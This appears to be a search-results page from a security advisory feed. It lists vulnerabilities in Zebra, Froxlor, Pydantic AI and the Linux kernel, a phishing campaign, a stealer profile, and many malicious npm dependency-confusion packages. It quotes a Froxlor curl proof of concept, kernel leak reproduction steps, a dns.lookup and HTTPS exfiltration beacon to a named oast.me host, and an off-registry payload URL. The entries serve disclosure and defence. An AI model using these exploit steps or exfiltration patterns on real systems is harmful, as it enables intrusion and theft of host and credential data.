Search: 2.9.99.5

### Am I affected You are affected if: 1. You run `zebrad` up to and including `v4.4.1`. 2. Your `zebrad.toml` sets `rpc.listen_addr` to a TCP address (RPC server is enabled). 3. An attacker can authenticate to the RPC endpoint. With the default `enable_cookie_auth = true`, this requires the attacker to read the `.cookie` file (typically local access). With `enable_cookie_auth = false`, any network client reaching the RPC port can trigger it. ### Summary The `z_listunifiedreceivers` RPC handler panics when processing a structurally valid Unified Address whose Sapling receiver carries 43 bytes that fail cryptographic validation (`sapling_crypto::PaymentAddress::from_bytes` returns `None` for non-subgroup Jubjub points). The handler calls `.expect("using data already decoded as valid")` on the fallible result. Because Zebra's release profile sets `panic = "abort"`, the panic terminates the entire node process, not just the RPC task. ### Details `zcash_address::unified::Encoding::decode` validates only the structural envelope of a Unified Address (F4Jumble, bech32m, typecode ordering, 43-byte length for Sapling). It does not validate that the embedded `pk_d` is a valid Jubjub subgroup point or that the diversifier produces a valid `g_d` preimage. At `zebra-rpc/src/methods.rs:2893`, the handler calls `Address::try_from_sapling(network, data)`, which delegates to `sapling_crypto::PaymentAddress::from_bytes`. When `from_bytes` returns `None` (most random 32-byte strings fail the subgroup check), the `.expect()` fires and the process aborts. The same crate already handles this correctly in `try_from_unified` at `zebra-chain/src/primitives/address.rs:99-110`, which returns `Err` when `from_bytes` fails. The vulnerable code path bypasses this validated route. ### Patches zebra-rpc 8.0.0 and zebrad 4.5.0. Replace `.expect()` with `.map_err(|e| ErrorObject::owned(...))` for proper error propagation, or route through the existing `try_from_unified` path which already handles this case correctly. ### Workarounds - Disable the RPC server by removing `rpc.listen_addr` from `zebrad.toml`. - Ensure `enable_cookie_auth = true` (the default) and restrict filesystem access to the `.cookie` file. - Place a reverse proxy in front of the RPC port that rejects `z_listunifiedreceivers` calls with untrusted address parameters. ### Impact A single authenticated RPC request terminates the `zebrad` process. The attack is repeatable on restart (the same request triggers the same abort), allowing an attacker to keep the node down indefinitely until the request is filtered upstream. Operators using `lightwalletd` backends, Zaino indexers, or mining pool infrastructure that forward RPC calls to `zebrad` may be exposed if the forwarding path passes through `z_listunifiedreceivers`. ### Credit Reported by `@robustfengbin` via a private GitHub Security Advisory submission.

## Summary The `Mysqls.add` API command (`lib/Froxlor/Api/Commands/Mysqls.php`) accepts a customer-controlled `mysql_server` parameter and only validates that the value is numeric and that the server index exists in `userdata.inc.php`. It never checks the value against the calling customer's `allowed_mysqlserver` allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same `allowed_mysqlserver` check is correctly enforced in `MysqlServer::get()` / `MysqlServer::listing()` and in the customer-facing UI (`customer_mysql.php`), confirming the omission is a bug, not by-design. ## Details **Vulnerable code path** — `lib/Froxlor/Api/Commands/Mysqls.php:69-99` (`add()`): ```php public function add() { if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) { ... $customer = $this->getCustomerData('mysqls'); // line 80 $dbserver = $this->getParam('mysql_server', true, // line 81 — user-controlled $this->getDefaultMySqlServer($customer)); ... $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...); // line 92 — numeric only Database::needRoot(true, $dbserver, false); // line 93 — root ctx for ANY index Database::needSqlData(); $sql_root = Database::getSqlData(); Database::needRoot(false); if (!is_array($sql_root)) { // line 97 — only existence check throw new Exception("Database server with index #" . $dbserver . " is unknown", 404); } ... $username = $dbm->createDatabase($newdb_params['loginname'], $password, $dbserver, ...); // line 116/118 — DB+user created ... Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...); } } ``` The `$customer['allowed_mysqlserver']` field IS read on line 80 but is only consumed by `getDefaultMySqlServer()` (lines 566-573) to compute a default when the request omits `mysql_server`. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs. **Cross-file evidence the check is intended elsewhere:** - `lib/Froxlor/Api/Commands/MysqlServer.php:319-323` — `get()` rejects with HTTP 405 when `$dbserver` is not in `allowed_mysqlserver`: ```php if ($this->isAdmin() == false) { $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true); if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) { throw new Exception("You cannot access this resource", 405); } ... } ``` - `lib/Froxlor/Api/Commands/MysqlServer.php:252-257` — same allowlist filter on `listing()`. - `customer_mysql.php:222` — UI rejects with `Response::dynamicError('No permission')` when `empty($allowed_mysqlservers)`. **Chain of execution (attacker → impact):** 1. Customer authenticates to `api.php` with apikey/secret. The only API gate is `cust_api_allowed`; `allowed_mysqlserver` is not consulted at auth time. 2. Customer sends JSON `{"command":"Mysqls.add","params":{"mysql_password":"<valid>","mysql_server":<disallowed_idx>}}`. 3. `Mysqls.php:71` quota check passes (`mysqls_used < mysqls`). 4. `Mysqls.php:80` `getCustomerData('mysqls')` returns the caller's own row. 5. `Mysqls.php:81` `$dbserver` is set from the request (default-fallback path skipped). 6. `Mysqls.php:92` numeric regex passes. 7. `Mysqls.php:93-99` `Database::needRoot(true, $dbserver, false)` switches to the root context of the attacker-chosen server; existence check passes. 8. `Mysqls.php:116/118` `DbManager::createDatabase(...)` runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to `<loginname>_<sqlN>` (DbManager.php:177-218). 9. `Mysqls.php:127-141` inserts a row into `TABLE_PANEL_DATABASES` with the attacker's `customerid` and the disallowed `dbserver`, allowing later management via `Mysqls.get/update/delete` (which only filter by `customerid` for non-admins, e.g. `Mysqls.php:282`). ## PoC Preconditions on the target instance: - ≥2 MySQL servers configured in `lib/userdata.inc.php` (e.g. index 0 default, index 1 internal/premium). - Customer X with `allowed_mysqlserver=[0]`, `cust_api_allowed=1`, `mysqls > 0`, and an issued API key (`apikey:secret`). Request — customer creates a database on server `1`, which is *not* in their allowlist: ```bash curl -k -u 'CUST_APIKEY:CUST_SECRET' \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Mysqls.add","params":{"mysql_password":"ValidP@ssw0

A phishing campaign targeting Chile continues to evolve with significant infrastructure expansion. Security researchers identified 99 new domains impersonating the legitimate PasasteSinTAG portal, with 22 domains confirmed active and 77 registered but not yet activated. The active domains utilize various top-level domains including .click, .cfd, .cyou, .mom, .best, .rest, .top, .help, .sbs, .icu, .life, .xyz, .buzz, .casa, and .pics. The infrastructure is hosted across seven IP addresses. This campaign represents an ongoing threat to Chilean users through brand impersonation tactics, with threat actors maintaining a large reserve of dormant domains for future rotation.

Campaign#brand impersonation#credential harvestingChile

The npm package react-wp-viewer versions 0.2.4, 0.2.15, and 0.2.99 is a dependency-confusion malicious package. Its postinstall script makes an HTTP request to an attacker-controlled IP, leaking environment details such as the installer's IP and hostname. This behavior indicates it is squatting on an internal package name to gather reconnaissance data. The package may lead to full system compromise, and any secrets on affected systems should be rotated immediately.

The @uisp/utils npm package versions 99.0.0, 99.0.1, and 99.0.2 contain malicious code that executes automatically during installation. The package's preinstall script runs a command to identify the host user and exfiltrates this information encoded via DNS and HTTPS requests to an attacker-controlled server. This results in remote code execution at install time and leakage of host identity information.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c3d966501b5f533318c26b54887cd29b3cd6c9495035a0f74519ba349357e3eb) ryan-pdf-js@99.9.1 is an empty stub package (index.js exports {}) whose sole purpose is to deliver an off-registry payload at install time. Its package.json declares its only dependency, `ltidisafe`, as a direct HTTPS tarball URL on a generic Google Cloud Storage bucket (https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.1.tgz) rather than a registry name, bypassing npm registry scanning. On `npm install`, npm fetches and unpacks that tarball, and any lifecycle scripts it contains execute on the installer's machine. The bucket path `depenconf/` is consistent with dependency-confusion staging, and the package name evokes the widely-used pdf.js ecosystem while shipping no real implementation — a typosquat-shaped lure whose only effect is to route installs through the off-registry dropper. ## Source: ghsa-malware (3b26acfcfb972e07369dd35f509acb9463d9fced9d49fc6872abad284bb0a75d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e919710d2f28ec776b8165821ebe2fbe480c1e432ec9416c7b73bd1315ee6a6e) Package published at version 99.99.99 under a generic name (`gx-npm-lib`) — the canonical dependency-confusion shape used to overshadow internal packages in CI version resolution. The `postinstall` lifecycle script runs `node beacon.js`, which collects installer metadata (package name, `os.hostname()`, `os.userInfo()` username, `process.cwd()`, the names of `process.env` variables, and Node version) and exfiltrates it via two channels to the hardcoded attacker-controlled OAST domain `d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me`: (1) a DNS lookup encoding `pkg.host.user` as subdomains, and (2) a base64-encoded HTTPS GET to `https://d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me/<pkg>?d=<base64>`. The package self-describes as a 'security-research placeholder' for a dependency-confusion PoC, but that self-label does not constitute installer consent — `npm install` in any environment where this package resolves (CI for an internal `gx-npm-lib`, or a developer mistyping) leaks host/user/cwd/environment inventory to the attacker's OAST collector. Multi-channel (DNS + HTTPS+base64) exfiltration to a hardcoded interactsh-style domain on a default install is a textbook active supply-chain attack. ## Source: ghsa-malware (de1b5709aec5da1ffdf3a44dcb78b36dc7aa0d65aa499feca4d6f07dd0ae6011) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (04e5ac6b8b24f2c158c37d3d6ac268bbf7f472433660064491538ee468cfcfcb) Package published at version 99.99.99 under the gx-npm-* namespace, a shape designed to win npm version resolution against private internal packages of the same name. package.json declares postinstall=`node beacon.js`, which runs unconditionally on `npm install`. beacon.js collects the installer's hostname, OS username, current working directory, package name, Node version, and the first 80 environment variable names, then exfiltrates them two ways to the hardcoded out-of-band host `d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me`: (1) a DNS lookup encoding the collected identifiers as subdomain labels, and (2) an HTTPS GET with a base64-encoded JSON payload in the query string. Any CI/build system or developer machine that resolves this package against the public npm registry leaks host identity and environment-variable names to an attacker-controlled interactsh/OAST endpoint on every install. ## Source: ghsa-malware (40016c94d5d31e1314b1f462b5fb83ae7ce15121df43474ce3440749ab89e72e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7fcad1b944d9ceb92389673398df9f471911a788fe608774a3298c69900bb1c7) gx-npm-feature-flags@99.99.99 is a dependency-confusion squat (max-semver `99.99.99` on a `gx-`-prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. `package.json` declares `postinstall: node beacon.js`. beacon.js collects the installer's OS hostname (`os.hostname()`), OS user (`os.userInfo()` / `process.env.USER`), current working directory (`process.cwd()`), package name, Node version, and the first 80 environment-variable names (`process.env`), then exfiltrates via two channels to a hardcoded `*.oast.me` endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (`dns.lookup('<pkg>.<host>.<user>.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')`), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (`path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))`). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent. ## Source: ghsa-malware (6a432f2363d7c4011a54074c1ad6f773a2557b367099c3c8de3ecba380cbfc1f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (b1c95e5e4a2cb9afebf67c805d5a74c5aba0ebedd5ed011f65dc6406b6a693cd) The OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

Appsmith is a platform to build admin panels, internal tools, and dashboards. Prior to 1.99, the POST /api/v1/admin/send-test-email endpoint accepts attacker-controlled smtpHost and smtpPort values and establishes a raw JavaMail TCP connection without any IP validation. This completely bypasses WebClientUtils.IP_CHECK_FILTER, which only applies to Spring WebClient HTTP requests. Additionally, the raw MailException.getMessage() is returned verbatim in the API error response, enabling error-based internal port scanning and service banner enumeration. This vulnerability is fixed in 1.99.

In the Linux kernel, the following vulnerability has been resolved: net/rds: zero per-item info buffer before handing it to visitors rds_for_each_conn_info() and rds_walk_conn_path_info() both hand a caller-allocated on-stack u64 buffer to a per-connection visitor and then copy the full item_len bytes back to user space via rds_info_copy() regardless of how much of the buffer the visitor actually wrote. rds_ib_conn_info_visitor() and rds6_ib_conn_info_visitor() only write a subset of their output struct when the underlying rds_connection is not in state RDS_CONN_UP (src/dst addr, tos, sl and the two GIDs via explicit memsets). Several u32 fields (max_send_wr, max_recv_wr, max_send_sge, rdma_mr_max, rdma_mr_size, cache_allocs) and the 2-byte alignment hole between sl and cache_allocs remain as whatever stack contents preceded the visitor call and are then memcpy_to_user()'d out to user space. struct rds_info_rdma_connection and struct rds6_info_rdma_connection are the only rds_info_* structs in include/uapi/linux/rds.h that are not marked __attribute__((packed)), so they have a real alignment hole. The other info visitors (rds_conn_info_visitor, rds6_conn_info_visitor, rds_tcp_tc_info, ...) write all fields of their packed output struct today and are not known to be vulnerable, but a future visitor that adds a conditional write-path would have the same bug. Reproduction on a kernel built without CONFIG_INIT_STACK_ALL_ZERO=y: a local unprivileged user opens AF_RDS, sets SO_RDS_TRANSPORT=IB, binds to a local address on an RDMA-capable netdev (rxe soft-RoCE on any netdev is sufficient), sendto()'s any peer on the same subnet (fails cleanly but installs an rds_connection in the global hash in RDS_CONN_CONNECTING), then calls getsockopt(SOL_RDS, RDS_INFO_IB_CONNECTIONS). The returned 68-byte item contains 26 bytes of stack garbage including kernel text/data pointers: 0..7 0a 63 00 01 0a 63 00 02 src=10.99.0.1 dst=10.99.0.2 8..39 00 ... gids (memset-zeroed) 40..47 e0 92 a3 81 ff ff ff ff kernel pointer (max_send_wr) 48..55 7f 37 b5 81 ff ff ff ff kernel pointer (rdma_mr_max) 56..59 01 00 08 00 rdma_mr_size (garbage) 60..61 00 00 tos, sl 62..63 00 00 alignment padding 64..67 18 00 00 00 cache_allocs (garbage) Fix by zeroing the per-item buffer in both rds_for_each_conn_info() and rds_walk_conn_path_info() before invoking the visitor. This covers the IPv4/IPv6 IB visitors and hardens all current and future visitors against the same class of bug. No functional change for visitors that fully populate their output. Changes in v2: - retarget at the net tree (subject prefix "[PATCH net v2]", net/rds: prefix in the title) - pick up Reviewed-by tags from Sharath Srinivasan and Allison Henderson

The kdrive-utils npm package version 99.9.9 contains malicious code that executes a preinstall script during npm install. This script sends the installer's hostname and current OS username in a plain HTTP request to an attacker-controlled server, enabling reconnaissance and potential further compromise. The package is a dependency confusion attempt with no legitimate functionality. Systems with this package installed should be considered fully compromised, and secrets should be rotated immediately.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f612eb2fa947323c936a0bb1becc602f0f837f9023edac22a945470566386a8c) oem-agentic-shared@99.9.1 is a hollow stub: index.js exports an empty object and package.json has empty author, empty description, and no real functionality. Its sole effect on install is to pull in a single dependency declared as a direct HTTPS tarball URL — `ltidisafe` pinned to `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.9.tgz` — instead of an npm-registry version. The Google Cloud Storage bucket is not associated with this package's name and is not a known publisher CDN, so the tarball contents bypass npm-registry scanning entirely and any lifecycle scripts inside that tarball execute on `npm install`. The wrapper-plus-off-registry-tarball shape is a known smuggling pattern whose only purpose is to inject attacker-controlled, unscanned code into the installer's dependency graph. ## Source: ghsa-malware (e13b6880f6fcb8357aa28f079843c0f1296d6bb1be362258da49ea56b2a501e8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## Summary When an application using Pydantic AI opts a URL into `force_download='allow-local'` (which disables the default block on private/internal IPs) **and runs on a network that routes the affected IPv6 transition forms (NAT64- or ISATAP-configured networks)**, the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form that the previous fix did not decode — IPv4-compatible IPv6 (`::a.b.c.d`), the NAT64 RFC 8215 local-use prefix (`64:ff9b:1::/48`), operator-chosen NAT64 prefixes, or ISATAP. The IPv6 wrapper is then delivered to the underlying IPv4 metadata endpoint, exposing cloud IAM short-term credentials. **The bypass is exploitable only in environments whose network actually routes these forms** — NAT64-configured networks (IPv6-only or dual-stack-with-NAT64 deployments, including some Kubernetes setups) for the NAT64 variants, or networks with an ISATAP tunnel for ISATAP. A standard dual-stack cloud VM or container does not route them and is not affected in practice. The IPv4-compatible and Teredo variants are deprecated and addressed as defense-in-depth. This is an incomplete fix of [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / [CVE-2026-46678](https://nvd.nist.gov/vuln/detail/CVE-2026-46678) (itself a follow-up to [CVE-2026-25580](https://nvd.nist.gov/vuln/detail/CVE-2026-25580)). The prior remediation decoded only IPv4-mapped IPv6, 6to4, and the NAT64 well-known prefix; the metadata guarantee did not hold for the remaining transition forms. ## Severity **MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N` = **6.8** Same impact metrics and narrow attack surface as the parent advisory (AC:H): exploitation requires the application to have opted into `allow-local` on a URL influenced by untrusted input, and the NAT64/ISATAP variants additionally require the deployment network to route those forms. **CWE-918**: Server-Side Request Forgery (SSRF) ## Affected Versions | Package | Vulnerable | Patched | |---|---|---| | `pydantic-ai` | `>= 1.56.0, < 1.102.0`; `>= 2.0.0b1, < 2.0.0b3` | `1.102.0`; `2.0.0b3` | | `pydantic-ai-slim` | `>= 1.56.0, < 1.102.0`; `>= 2.0.0b1, < 2.0.0b3` | `1.102.0`; `2.0.0b3` | These transition forms have not been decoded since SSRF protection was introduced in `1.56.0`. ## Who Is Affected Users are affected **only if** their application explicitly opts a `FileUrl` (`ImageUrl`, `AudioUrl`, `VideoUrl`, `DocumentUrl`) into `force_download='allow-local'` on a URL that is, or could be, influenced by untrusted input. Beyond that precondition, the affected encodings only reach a metadata endpoint in environments whose network actually routes them. The broadly-routable IPv4-mapped form was addressed in `1.99.0` (CVE-2026-46678); the additional forms addressed here require a **NAT64-configured network** (IPv6-only or dual-stack-with-NAT64 deployments, including some Kubernetes setups) for the NAT64 variants, or an **ISATAP tunnel** for the ISATAP variant. The IPv4-compatible and Teredo forms are deprecated and not routed by modern stacks; they are addressed as defense-in-depth. Most deployments on a standard dual-stack cloud VM or container are therefore not exploitable in practice, but the fix restores the "always blocked" guarantee for the environments that are. Users are **not** affected if they use any of the bundled integrations to ingest user input, because they do not propagate `force_download` from external data: - `Agent.to_web` / `clai web` - `VercelAIAdapter` - `AGUIAdapter` / `Agent.to_ag_ui` Applications that only download from developer-controlled URLs are not affected. ## Remediation Upgrade to `1.102.0` or later (or `2.0.0b3` or later on the 2.0 pre-release line). The cloud-metadata and private-IP blocklists now decode the embedded IPv4 of every standardized IPv6 transition form before evaluating it — IPv4-mapped, IPv4-compatible, 6to4, NAT64 across all prefix lengths (including the RFC 8215 local-use prefix and operator-chosen prefixes), ISATAP, and Teredo. The set of always-blocked cloud metadata/credential endpoints has also been expanded across providers. ## Workaround for Unpatched Versions Avoid passing `force_download='allow-local'` on any URL that could be influenced by untrusted input. If developers must, resolve the hostname themselves and validate the result against their own metadata blocklist — including IPv6 transition forms — before constructing the `FileUrl`. ## Credits Reported by [@SnailSploit](https://snailsploit.com).

The npm package 'field-plus' versions 99.99.1 and 99.99.2 contain malicious code that executes during installation. The package.json file includes preinstall and postinstall scripts that silently send identifying information such as username, hostname, current directory, and timestamp to a hardcoded IP address. The package lacks any legitimate functionality and is used as a dependency-confusion or namespace-squatting probe. Installation of this package can lead to full system compromise, requiring immediate secret and key rotation and removal of the package.

OnyxC2 emerged in early 2026 as a malware-as-a-service stealer sold on cybercrime networks for $250 monthly. The platform includes a web panel, payload builder, and tiered pricing structure with refund guarantees. Written in C++ with assembly for direct syscalls, it targets approximately 210 applications across nine categories: 45 browsers, 109 extensions including 2FA tools, 5 password managers, 17 cryptocurrency wallets, 11 FTP clients, 5 email clients, and VPN/messaging applications. The stealer achieves 99% detection evasion through mutated builds and delivers via DLL sideloading using signed binaries. Higher tiers unlock remote access capabilities including HVNC, LSASS dumping, reverse SOCKS5 proxy, keylogging, and reverse shell. Distribution occurs through fake installers delivered as password-protected archives, with C2 communication over Cloudflare-fronted HTTPS to akmuniverstall.top.

A weakness has been identified in svaarala duktape up to 2.99.99. This issue affects some unknown processing of the file duk_api_bytecode.c. Executing a manipulation of the argument count_instr can lead to memory corruption. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a4ca306052ea5224831743daec9d3944fadff8cb4a7211e980be7669a739d00d) ltidiconf@99.9.1 is an empty wrapper package (index.js is `module.exports = {};`, empty author/description, inflated 99.9.1 version) whose sole effect on install is to pull a single dependency declared as a direct tarball URL: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.8.tgz"`. The bytes at that GCS bucket are mutable, unpinned, and not integrity-hashed; the bucket owner can swap the tarball at any time, and whatever code is in it executes at `npm install` time and on `require`. The wrapper has no functional content of its own, the bucket path literally contains the string `depenconf`, and the 99.9.1 version is the canonical shape of a dependency-confusion squat designed to shadow an internal package name and drop arbitrary attacker-controlled code into the installer's environment. ## Source: ghsa-malware (b949b5a457e726a907fa5e6b27ac585521202e3138218191b3bfe2945ecb39ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (82f07d72efb0234c99f1db77fa557334d2cf010cd0a7020e470d6e72518c0a5d) The OpenSSF Package Analysis project identified 'ltidiconf' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

The npm package 'ttspc-server-sample' versions 9.0.0, 9.0.1, 99.9.0, 99.9.1, 99.9.2, and 99.9.3 contains malicious code that executes automatically upon installation. It collects sensitive system information including hostname, username, environment variables resembling credentials, network interface details, OS information, and running processes, then exfiltrates this data to an attacker-controlled domain. The package uses an inflated version number to override private internal packages, enabling a supply-chain attack. Systems with this package installed should be considered fully compromised, and all secrets should be rotated. Removal of the package alone may not fully remediate the compromise.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.12.99. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:70645 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.12/html/release_notes